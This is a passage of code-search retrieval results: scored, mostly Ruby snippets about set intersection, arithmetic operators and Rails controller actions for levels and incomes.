other.send(\"intersect#{@dispatch}\", self) \n end", "title": "" }, { "docid": "93d2543154a355265746caa51e8fa341", "score": "0.6231244", "text": "def intersect(left, right)\n new(:or, left, right)\n end", "title": "" }, { "docid": "b92f7716b4b8887f751b68d5076ac69c", "score": "0.6214805", "text": "def intersect(select)\n add_set_op('intersect', select)\n end", "title": "" }, { "docid": "bf1b90418e3a92028013d018444609f7", "score": "0.6190974", "text": "def apply(operator, op_A, op_B)\n case operator\n when :and\n op_A & op_B\n when :or\n op_A | op_B\n else\n fail \"Unknown operator '#{operator}'\"\n end\n end", "title": "" }, { "docid": "8195074d851efae0c0a072ac2cc22841", "score": "0.6187025", "text": "def intersection other\n postgis_calculate(:intersection, [self, other])\n end", "title": "" }, { "docid": "a94c126aab6a072ea9bd24a19e35e77a", "score": "0.61763465", "text": "def and_op(a,b)\n a && b\nend", "title": "" }, { "docid": "3162e8d68e734b003f2ab2af3baebbf0", "score": "0.61699206", "text": "def compute(first, second, oper)\n oper == '+' ? first + second : first * second\n end", "title": "" }, { "docid": "73ce09bc70626d2324b18f85961b711a", "score": "0.616725", "text": "def difference(other)\n Operation.new(:and, dup, Operation.new(:not, other.dup)).minimize\n end", "title": "" }, { "docid": "f96b082873ae865cd1f0b726092b5810", "score": "0.61613405", "text": "def intersect_result(res, negative: false)\n if @ret.any?\n if negative\n @ret -= res\n else\n @ret &= res\n end\n else\n @ret = res\n end\n end", "title": "" }, { "docid": "7b8edd11c80c54439ff2973c53da2b8e", "score": "0.6141951", "text": "def &(transaction_set)\n merge_with 'intersection', transaction_set\n end", "title": "" }, { "docid": "e071e1260e151b269affc2dcf2ecbb45", "score": "0.6129828", "text": "def intersect\n inject([]){|inj,x| inj & x.to_a }\n end", "title": "" }, { "docid": "bfe09ec72249db84f5a76a5d5d13915c", "score": "0.61078274", "text": "def evaluate_operator(left, right)\n left + right\n end", "title": "" }, { "docid": "cf4f99375ed763582d32139919d9513d", "score": "0.60777336", "text": "def union(other)\n Operation.new(:or, dup, other.dup).minimize\n end", "title": "" }, { "docid": "35d848cf018ac511e2632bea10c0265d", "score": "0.60760057", "text": "def __intersect__(object); object; end", "title": "" }, { "docid": "f39bc303b60dc3d5b2fddd2757c8cdab", "score": "0.60735035", "text": "def intersect(nodes)\n chain_set_operation(Intersect.new, nodes)\n end", "title": "" }, { "docid": "4c2d4a3bd3830a404a71ab415f3b2292", "score": "0.6068512", "text": "def intersection(other)\n case other\n when Range\n intersection_range(other)\n when IntervalSet\n intersection_interval_set(other)\n else\n IntervalSet.unexpected_object(other)\n end\n end", "title": "" }, { "docid": "4338341a3722a7f3515ed28089a4ec10", "score": "0.6038987", "text": "def array_intersection(array1, array2)\n return array1 & array2\nend", "title": "" }, { "docid": "88dcf706e0e1d2f000214b59debf0509", "score": "0.60266334", "text": "def intersection(nums1, nums2)\n result = []\n nums1.each do |num|\n result.push(num) if (!result.include?(num) && nums2.include?(num))\n end\n result\nend", "title": "" }, { "docid": "ae59e46b61dde8ebebd9c23b7fb4499a", "score": "0.6022597", "text": "def operation(a, b, oper)\n if operator?(oper)\n a.send(oper, b)\n else\n nil\n end\n end", "title": "" }, { "docid": "68975cc252e09c4d381fc524baf599f9", "score": "0.5985069", "text": "def |(filter)\n self.class.intersect(self, filter)\n end", "title": "" }, { "docid": "a8db653a5f0b2a366609908b6b18326a", "score": "0.59743816", "text": "def optimize\n left.intersect(right)\n end", "title": "" }, { "docid": "49c74f712fe17c7f47319466d67eaa14", "score": "0.5965456", "text": "def operands\n raise NotImplementedError\n end", "title": "" }, { "docid": "99876e65ccd397d183e79cdd650121a3", "score": "0.5963889", "text": "def intersect_sequence(op)\n # Just move forward, one item at a time.\n if op.a.items.size == 0\n return op.alternative_a(EMPTY)\n elsif op.a.items.size == 1\n return op.alternative_a(op.a.items[0])\n else\n return op.alternative_a(op.a.items[0], concat(op.a.items[1..-1]))\n end\n end", "title": "" }, { "docid": "e4b86756c321a2241bc256b129f31e18", "score": "0.59614486", "text": "def compute_x_intersection(y, x1, x2, y1, y2)\n delta_y = y2 - y1\n return x1 if delta_y == 0\n ((y - y1) * (x2 - x1)).fdiv(delta_y) + x1\n end", "title": "" }, { "docid": "c7bca1feb56899aec97b8957fdb67790", "score": "0.59548527", "text": "def ^(other) \n (self | other) - (self & other)\n end", "title": "" }, { "docid": "c46d6a96a735bfa183423b7ef6ec578c", "score": "0.5949369", "text": "def operands\n [ left, right ]\n end", "title": "" }, { "docid": "c46d6a96a735bfa183423b7ef6ec578c", "score": "0.5949369", "text": "def operands\n [ left, right ]\n end", "title": "" }, { "docid": "ed298fae6d688a442f15e4b5f0bb9da4", "score": "0.59458625", "text": "def op\n @op.andand.to_sym\n end", "title": "" }, { "docid": "58e821800e55a3b5bba9798d3d72de96", "score": "0.59439343", "text": "def intersect(*args)\n new(:intersect, *args)\n end", "title": "" }, { "docid": "7827f2ae29ff3b36e0feefab7437c242", "score": "0.593884", "text": "def intersection arrays\n arrays.inject &:&\n end", "title": "" }, { "docid": "7827f2ae29ff3b36e0feefab7437c242", "score": "0.593884", "text": "def intersection arrays\n arrays.inject &:&\n end", "title": "" }, { "docid": "14123b47c06335b495afdd27a2e0a598", "score": "0.593151", "text": "def calculation(a, b, operation)\n operation.call(a, b)\nend", "title": "" }, { "docid": "e521bdb54bc7a0a54a9f0eb509baa711", "score": "0.5906678", "text": "def operation_of(a, b, op)\n op = { 'add' => '+', 'subtract' => '-', 'multiply' => '*', 'divide' => '/'} [op]\n a.send(op,b) rescue \"undefined\"\nend", "title": "" }, { "docid": "7831280c1967b1e8bd3d06599960f0a3", "score": "0.58832127", "text": "def on_binary(left, operator, right); end", "title": "" }, { "docid": "ace0afda8f46ae257025271bf6e64ae3", "score": "0.5880267", "text": "def compute(a, op, b)\n case op\n when \"+\"\n a + b\n when \"-\"\n a - b\n when \"*\"\n a * b\n when \"/\"\n if a % b != 0\n Rational(a, b)\n else\n a / b\n end\n # not needed\n # when \"==\"\n # a == b\n else\n raise ArgumentError\n end\n end", "title": "" }, { "docid": "e2e2217ef15520c69c36cf4eb7aba541", "score": "0.587263", "text": "def get_operation(operator)\n if operator == 'sum'\n ->(a, b) { a + b }\n elsif operator == 'minus'\n ->(a, b) { a - b }\n end\nend", "title": "" }, { "docid": "5b2f19299337d901b37bdd185e749e72", "score": "0.5853221", "text": "def intersect_exact_sequence(op)\n # If the other is also an exact sequence, we find out if one starts with\n # the other of the other and and return that.\n if op.b.is_a?(ExactSequence)\n if op.a.size < op.b.size\n op.swap\n end\n if op.a[0..op.b.size-1] == op.b\n return [ op.consume_b(op.a[op.b.size..-1]) ]\n end\n return []\n end\n end", "title": "" }, { "docid": "3a2a64f78ada7e56d6097b1a16ad97db", "score": "0.5852878", "text": "def &(other)\n operation(:&, other)\n end", "title": "" }, { "docid": "84461160c7fd31ede2e5d7ca81c1063d", "score": "0.5850087", "text": "def operand1; end", "title": "" }, { "docid": "506bed9c3d37fe93d4bcc5502e476478", "score": "0.583975", "text": "def combine_and(left, right); end", "title": "" }, { "docid": "cd84bcc4cd141aebe46c1010e168df67", "score": "0.5832239", "text": "def intersection(other)\n Rangops::Set.intersection(self, other)\n end", "title": "" }, { "docid": "d0fde3b3b8f09d4922953509a090eb41", "score": "0.58201385", "text": "def intersect obj\n obj.intersectPoint self \n end", "title": "" }, { "docid": "bb12584f4b0c8b96741b8552780efbef", "score": "0.58178073", "text": "def arithmetic(a, b, op)\n op == \"add\" ? a + b : op == \"subtract\" ? a - b : op == \"divide\" ? a / b : a * b\nend", "title": "" }, { "docid": "7d834f65a82b0d1c2b34ec4910b99c25", "score": "0.5815527", "text": "def Binary(left, operator, right); end", "title": "" }, { "docid": "7501c5ac846ab21d47d499275d1539fa", "score": "0.5810682", "text": "def intersection arrays\n arrays.inject &:&\n end", "title": "" }, { "docid": "143ab976ca61787650ef9a8a316d2161", "score": "0.58090144", "text": "def intersect(group)\n end", "title": "" }, { "docid": "c0251dda79b54345e99f74ec102e45a7", "score": "0.580026", "text": "def combinable?(x, operator)\n case operator\n when :+\n (is_num? && x.is_num?) ||\n (formula?(:*) && (f.is_num? || g.is_num?)) && x.is_num? ||\n like_term?(x) ||\n inverse?(:+, x)\n when :*\n self == x ||\n (is_num? && x.is_num?) ||\n inverse?(:*, x)\n when :^\n (is_num? && x.is_num?) || is_0? || is_1?\n end\n end", "title": "" }, { "docid": "9a5122fa309d3d8f00a0b8b9ffe7fb55", "score": "0.5786618", "text": "def start_intersect(a, b)\n OperationThread.new(nil, EMPTY, a, b, EMPTY, EMPTY, false)\n end", "title": "" }, { "docid": "219f7228d16ad6ff9899ec204429a33e", "score": "0.57814306", "text": "def intersection(nums1, nums2)\n nums1_uniq = nums1.uniq\n nums2_uniq = nums2.uniq\n \n nums1_uniq.select { |n| nums2_uniq.include?(n) }\nend", "title": "" }, { "docid": "d20b0221762c5dca4f66391f07a0bf77", "score": "0.57718265", "text": "def evaluate_operator(left, right)\n left - right\n end", "title": "" }, { "docid": "0c585fda519f2e05491a980f7dbe9cbc", "score": "0.57564735", "text": "def calculate operand_one, operator, operand_two\n\n value = nil\n\n # for all calculations, briefly convert to a Rational\n op_1 = Rational(operand_one.value)\n op_2 = Rational(operand_two.value)\n\n case operator.value\n when Calculator::KEY_PLUS\n value = op_1 + op_2\n when Calculator::KEY_MINUS\n value = op_1 - op_2\n when Calculator::KEY_MULTIPLY\n value = op_1 * op_2\n when Calculator::KEY_DIVIDE\n begin\n value = op_1 / op_2\n rescue ZeroDivisionError\n @is_error = true\n @error = \"Cannot divide by zero.\"\n end\n when Calculator::KEY_CARAT\n if op_1 < 0 and op_2 < 1 and op_2 > 0 and ((1/op_2) % 2 == 0)\n @is_error = true\n @error = \"Cannot calculate imaginary numbers\"\n else\n require 'bigdecimal'\n value = Rational(op_1.to_f ** op_2.to_f)\n end\n\n end\n\n value\n\n end", "title": "" }, { "docid": "9a6bde3600e3151582cebdf455f8a458", "score": "0.5745695", "text": "def intersection a, b\n c = Clipper::Clipper.new\n \n c.add_subject_polygon a.map(&:to_a)\n c.add_clip_polygon b.map(&:to_a)\n c.intersection(:non_zero, :non_zero)[0].map{|pnt| Point.new(*pnt)}\n end", "title": "" }, { "docid": "b6dd926fc8bf82c318c69d4283484dcd", "score": "0.5734388", "text": "def logical_op(type, lhs, op_t, rhs); end", "title": "" }, { "docid": "b37f5294b8eb2a317e1e3ddd4d6516a9", "score": "0.57328546", "text": "def common_elements(a1,a2)\n a1&a2\nend", "title": "" }, { "docid": "2e837aeea16f16036a650a19b7c183f7", "score": "0.5722392", "text": "def operation_of(a, b, op)\n a, b = a.to_i, b.to_i\n case op\n when 'add'\n (a + b)\n when 'subtract'\n (a - b)\n when 'multiply'\n (a * b)\n when 'divide'\n b == 0 ? 'undefined' : (a / b)\n end\nend", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57193005", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57193005", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "0ee27284dbfa1e68741dc95297e570de", "score": "0.57189286", "text": "def operator; end", "title": "" }, { "docid": "2a1e81ba35661b4e38729ae99d0fda9e", "score": "0.5714592", "text": "def op_and_arguments(command)\n els = command.split\n operator = OPERATORS_AS_SYMBOLS.fetch(els.shift) # 'PLUS' => :+\n arguments = els.map(&:to_2_byte_integer)\n [operator, arguments]\n end", "title": "" }, { "docid": "7d79fc032dbadb2717de114db1c3edc7", "score": "0.5711106", "text": "def calculate(starting_value, operations)\n result = starting_value\n operations.each_with_index do |el, idx|\n command = operations[idx][0]\n value = operations[idx][1]\n if command == \"+\" || command == :+\n result += value\n elsif command == \"-\" || command == :-\n result -= value\n elsif command == \"*\" || command == :*\n result *= value\n elsif command == \"/\" || command == :/\n result /= value\n end\n end\n result\nend", "title": "" }, { "docid": "b6d7bb5bf19c68c968d7805f6272edf7", "score": "0.5708876", "text": "def intersect?(other); end", "title": "" }, { "docid": "b6d7bb5bf19c68c968d7805f6272edf7", "score": "0.5708876", "text": "def intersect?(other); end", "title": "" } ]
786135e0757dc08adb896371999adc94
GET /incomelevels/1 GET /incomelevels/1.xml
[ { "docid": "f1940087f878d855aeb5d48aaa90b6f5", "score": "0.7165916", "text": "def show\n @incomelevel = Incomelevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @incomelevel }\n end\n end", "title": "" } ]
[ { "docid": "3a17353ef66051a9bdfb938eabf90765", "score": "0.6494871", "text": "def new\n @incomelevel = Incomelevel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @incomelevel }\n end\n end", "title": "" }, { "docid": "a9dab0612a3d59e1ec9337250d01d21a", "score": "0.6271804", "text": "def index\n @outcome_subgroup_levels = OutcomeSubgroupLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @outcome_subgroup_levels }\n end\n end", "title": "" }, { "docid": "1a362d14276a5c978e9ef5ecd032f00f", "score": "0.6204167", "text": "def show\n @level = Level.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @level }\n end\n end", "title": "" }, { "docid": "1a362d14276a5c978e9ef5ecd032f00f", "score": "0.6204167", "text": "def show\n @level = Level.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @level }\n end\n end", "title": "" }, { "docid": "eaf5db70ebfa2744a47eaf2eb2ff4b52", "score": "0.6193594", "text": "def index\n @incomes = Income.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @incomes.to_xml }\n end\n end", "title": "" }, { "docid": "c56e12f64df655b7b9bb8233e8f7e7d9", "score": "0.61905795", "text": "def index\n @salary_levels = SalaryLevel.find_all_level params[:page]\n @salary_level=SalaryLevel.new\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @salary_levels }\n end\n end", "title": "" }, { "docid": "cbbafb7bb1263f6e7a8c3253413d597c", "score": "0.61686087", "text": "def show\n @income = Income.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @income.to_xml }\n end\n end", "title": "" }, { "docid": "3b952a2001f68528b206a9db136d2cfc", "score": "0.61623025", "text": "def level\n nodes = EasyLevel.all\n inodes = IntermediateLevel.all\n dnodes = DifficultLevel.all\n cnodes = ChallengeLevel.all\n respond_to do |format|\n format.html { render :level, locals: { nodes: nodes, inodes: inodes, dnodes: dnodes, cnodes: cnodes} }\n end\n end", "title": "" }, { "docid": "d4cfdb07ab7f86b0b6d08210cae800fe", "score": "0.6127523", "text": "def show\n @income = Income.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @income }\n end\n end", "title": "" }, { "docid": "d4cfdb07ab7f86b0b6d08210cae800fe", "score": "0.6127523", "text": "def show\n @income = Income.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @income }\n end\n end", "title": "" }, { "docid": "3542aa491c412f7525f4c4741bd14e24", "score": "0.602743", "text": "def index\n @playerlevels = @player.playerlevels.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @playerlevels }\n end\n end", "title": "" }, { "docid": "684ef93e7d6648b653ba9bd371ece561", "score": "0.6022553", "text": "def show\n @outcome_subgroup_level = OutcomeSubgroupLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @outcome_subgroup_level }\n end\n end", "title": "" }, { "docid": "940126f8025aa380831c1c8c20c90f65", "score": "0.60112673", "text": "def show\n @salary_level = SalaryLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @salary_level }\n end\n end", "title": "" }, { "docid": "accfd147c19a58208bedbffb3f98d4eb", "score": "0.5967351", "text": "def index\n @accesslevels = Accesslevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @accesslevels }\n end\n end", "title": "" }, { "docid": "375733129964d4769677ff67488b2363", "score": "0.5966088", "text": "def index\n @price_levels = PriceLevel.all.uniq.paginate(:page => params[:page], :per_page => 20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @price_levels }\n end\n end", "title": "" }, { "docid": "fbc297d8c1b3189bccc0f44bd371db6e", "score": "0.59271806", "text": "def index\n @fixed_incomes = FixedIncome.for_user(current_user).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fixed_incomes }\n end\n end", "title": "" }, { "docid": "348fc7ef339411c579e173ea8ae5bed2", "score": "0.59080887", "text": "def show\n @educational_level = EducationalLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @educational_level }\n end\n end", "title": "" }, { "docid": "9c818201a44bbe0546fe34f080200c15", "score": "0.58530223", "text": "def index\n @levels = Level.find_all_by_user_id(current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.js # index.html.erb\n format.xml { render :xml => @levels }\n end\n end", "title": "" }, { "docid": "c9f0d6f62a3c634f441fb4d7b646fcb6", "score": "0.583462", "text": "def index\n# @levels = Level.find(:all)\n @levels = Level.paginate :page => params[:page]\n @paginated_objects = @levels\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @levels }\n end\n end", "title": "" }, { "docid": "7e81194c1765ab2c0c7b1c576b83abe3", "score": "0.58239067", "text": "def index\n @levels = Level.all\n end", "title": "" }, { "docid": "7e81194c1765ab2c0c7b1c576b83abe3", "score": "0.58239067", "text": "def index\n @levels = Level.all\n end", "title": "" }, { "docid": "7e81194c1765ab2c0c7b1c576b83abe3", "score": "0.58239067", "text": "def index\n @levels = Level.all\n end", "title": "" }, { "docid": "7e81194c1765ab2c0c7b1c576b83abe3", "score": "0.58239067", "text": "def index\n @levels = Level.all\n end", "title": "" }, { "docid": "7e81194c1765ab2c0c7b1c576b83abe3", "score": "0.58239067", "text": "def index\n @levels = Level.all\n end", "title": "" }, { "docid": "0750af06cd01b1c07fd2b14c9f674747", "score": "0.57950646", "text": "def show\n @price_level = PriceLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @price_level }\n end\n end", "title": "" }, { "docid": "6e0a5e5ff8168bf8b728b0cafbbbf816", "score": "0.5725841", "text": "def index\n @expenses = Expense.activing.find_all_by_organization_id current_organization.subtree_ids\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end", "title": "" }, { "docid": "22b08ff40e789040dfaf21ce99522d58", "score": "0.5722244", "text": "def show\n @student_incomelevelship = StudentIncomelevelship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @student_incomelevelship }\n end\n end", "title": "" }, { "docid": "bfccf6f450a74f1bd62bd7faeb6a07b4", "score": "0.5704108", "text": "def create\n @incomelevel = Incomelevel.new(params[:incomelevel])\n\n respond_to do |format|\n if @incomelevel.save\n format.html { redirect_to(@incomelevel, :notice => 'Incomelevel was successfully created.') }\n format.xml { render :xml => @incomelevel, :status => :created, :location => @incomelevel }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @incomelevel.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f5ca2214ddf9763bdbb166d2beabeed4", "score": "0.5690698", "text": "def index\n @registry_levels = Registry::Level.paginate(:page => params[:page])\n end", "title": "" }, { "docid": "3755dc7eea0376ad853948fe27984e55", "score": "0.5687214", "text": "def new\n @income = Income.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @income }\n end\n end", "title": "" }, { "docid": "3755dc7eea0376ad853948fe27984e55", "score": "0.5687214", "text": "def new\n @income = Income.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @income }\n end\n end", "title": "" }, { "docid": "b96ac1d24cca4955f0fcc97ad2ff1f5b", "score": "0.5676832", "text": "def index\n @incomes = @income_category.incomes.all\n end", "title": "" }, { "docid": "082bba4217dd49859ba4d40c78129c82", "score": "0.56232226", "text": "def show\n @level = Level.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @level }\n end\n end", "title": "" }, { "docid": "d0fde1d5e9404b48f8d749e0520d319f", "score": "0.56153816", "text": "def index\n @auction_levels = Auction::Level.all\n end", "title": "" }, { "docid": "4cef66b6df15b90af6e829ea74a5a00d", "score": "0.56130624", "text": "def show\n @income = Income.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @income }\n end\n end", "title": "" }, { "docid": "d2d5e03232a5f57171ac2b69ea3d8d11", "score": "0.5576132", "text": "def show\n if params[:activity_id]\n @level = Activity.find(params[:activity_id]).level\n else\n @level = Level.find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @level }\n end\n end", "title": "" }, { "docid": "6e1790b26d7f357cb0b729408783101b", "score": "0.5569034", "text": "def update\n @incomelevel = Incomelevel.find(params[:id])\n\n respond_to do |format|\n if @incomelevel.update_attributes(params[:incomelevel])\n format.html { redirect_to(@incomelevel, :notice => 'Incomelevel was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @incomelevel.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3909c9802364b21d906ffdd23b9d0d14", "score": "0.5560693", "text": "def index\n\t\tlevel = params[:level]\n\t\tparentId = params[:parentId]\n\n\t\tif level == nil\n\t\t\t@localities = Locality.all\n\t\telsif level == \"5\"\n\t\t\tRails.logger.info \"*******ok + level********\"\n\t\t\tparentId = parentId + \"%\"\n\t\t\t@localities = Locality.where(\"level = ? AND parentId like ?\", level, parentId).all\n\t\telse\n#\t@localities = Locality.select(:code, :parentId ,:name).where(level: level).all\n\t\t\tif parentId == nil\n\t\t\t\t@localities = Locality.where(level: level).all\n\t\t\telse\n\t\t\t\t@localities = Locality.where(\"level = ? AND parentId = ?\", level, parentId).all\n\t\t\tend\n\t\tend\n\t\trespond_with @localities\n end", "title": "" }, { "docid": "73ca59b6135fc3e9def9e6833cb6cd3b", "score": "0.5559069", "text": "def show\n @experience_level = ExperienceLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @experience_level }\n end\n end", "title": "" }, { "docid": "3baea9088b4fb6fc59dbd018d4940499", "score": "0.55499", "text": "def show\n @playerlevel = @player.playerlevels.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @playerlevel }\n end\n end", "title": "" }, { "docid": "5272d35856666461720ba323646d7bba", "score": "0.55315626", "text": "def index\n redirect_to @level\n #@vocabs = Vocab.all\n\n #respond_to do |format|\n #format.html # index.html.erb\n #format.xml { render :xml => @vocabs }\n #end\n end", "title": "" }, { "docid": "35f3edf457496263dfb3f7a14c7a8f54", "score": "0.5521803", "text": "def show\n @fixed_income = FixedIncome.for_user(current_user).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fixed_income }\n end\n end", "title": "" }, { "docid": "7d2c5bc68af68c13f05e0cad57e84bc1", "score": "0.5519329", "text": "def income_resource\n income_resource = InvestorDetail.income_resources\n render json: {\n ststus: 'OK',\n results: income_resource,\n error: nil\n }, status: :ok\n end", "title": "" }, { "docid": "f4b28676919b078f469cfb8f1063550b", "score": "0.549435", "text": "def show\n @lookup_demographicincome = LookupDemographicincome.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_demographicincome }\n end\n end", "title": "" }, { "docid": "a378256ce3d6338af7180ff544f22b3c", "score": "0.5492503", "text": "def xml_report\n RestClient::get \"#{@base}/OTHER/core/other/xmlreport/\"\n end", "title": "" }, { "docid": "5287660ffc1da7d33d5de8abe3f2ebbf", "score": "0.54867834", "text": "def xml_report\n RestClient::get \"#{base}/OTHER/core/other/xmlreport/\"\n end", "title": "" }, { "docid": "eb9757f1c204dbe9314cb581fca0c53e", "score": "0.5485616", "text": "def index\n\t@incomes = Income.all\n end", "title": "" }, { "docid": "9100070a0812f0336f48dd1e9868259b", "score": "0.54723716", "text": "def show\n @game_level = GameLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @game_level }\n end\n end", "title": "" }, { "docid": "eeed39c9adffc4710950c4cd54b22b66", "score": "0.54700685", "text": "def new\n @level = Level.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @level }\n end\n end", "title": "" }, { "docid": "eeed39c9adffc4710950c4cd54b22b66", "score": "0.54700685", "text": "def new\n @level = Level.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @level }\n end\n end", "title": "" }, { "docid": "5fb4dc08fae66b3b7660ca52bc20f7b9", "score": "0.5469949", "text": "def index\n @education_levels = EducationLevel.page params[:page]\n end", "title": "" }, { "docid": "c92c85917c38afbcbd6ec12f6bd941a5", "score": "0.5469461", "text": "def show\n @income_category = IncomeCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @income_category }\n end\n end", "title": "" }, { "docid": "fa7e499b5d0234255c9239e27cfd7011", "score": "0.54577637", "text": "def index\n @stock_levels = StockLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stock_levels }\n end\n end", "title": "" }, { "docid": "9c83c38a0e384c893a89111625f114fb", "score": "0.54569894", "text": "def show\n @competency_level = CompetencyLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competency_level }\n end\n end", "title": "" }, { "docid": "53fd66c3e4add85d4d4eb59e3c5acff6", "score": "0.54559726", "text": "def index\n @landgraf_expression_levels = nil\n \n params[:page] ||= 1\n \n if params[:mature_id]\n @landgraf_expression_levels = Mature.find_rest(params[:mature_id]).landgraf_expression_levels\n elsif params[:landgraf_library_id]\n @landgraf_expression_levels = LandgrafLibrary.find_rest(params[:landgraf_library_id]).landgraf_expression_levels\n end\n\n respond_to do |format|\n format.html do\n if @landgraf_expression_levels # subselect\n @landgraf_expression_levels = LandgrafExpressionLevel.paginate @landgraf_expression_levels.map{|x| x.id}, :page => params[:page], :per_page => 12, :order => \"expression_level DESC\"\n else #all\n @landgraf_expression_levels = LandgrafExpressionLevel.paginate :page => params[:page], :per_page => 12, :order => \"expression_level DESC\"\n end \n end\n format.xml do\n @landgraf_expression_levels = LandgrafExpressionLevel.find(:all) if !@landgraf_expression_levels\n render :xml => @landgraf_expression_levels.to_xml(:only => LandgrafExpressionLevel.column_names)\n end\n end\n end", "title": "" }, { "docid": "422d207dc1ec852b578536eb46bfe420", "score": "0.5455643", "text": "def index\n @competence_nodes = CompetenceNode.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @competence_nodes }\n end\n end", "title": "" }, { "docid": "8d1efab08f683cb04de190ad988b5afd", "score": "0.545138", "text": "def index\n\n @incidents = current_user.account.incidents.where(\"open = ?\", true).\n order('created_at DESC').page(params[:page])\n @closed_incidents = current_user.account.incidents.where(\"open = ?\", false).\n order('created_at DESC').page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @incidents }\n end\n end", "title": "" }, { "docid": "bae281f943623154abe5ae57893f4929", "score": "0.54469925", "text": "def index\n @universities = University.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @universities }\n end\n end", "title": "" }, { "docid": "d99576fabc2e4150e56c29e71c32db74", "score": "0.5444383", "text": "def show\n @risk = Risk.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @risk }\n end\n end", "title": "" }, { "docid": "d99576fabc2e4150e56c29e71c32db74", "score": "0.5444383", "text": "def show\n @risk = Risk.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render 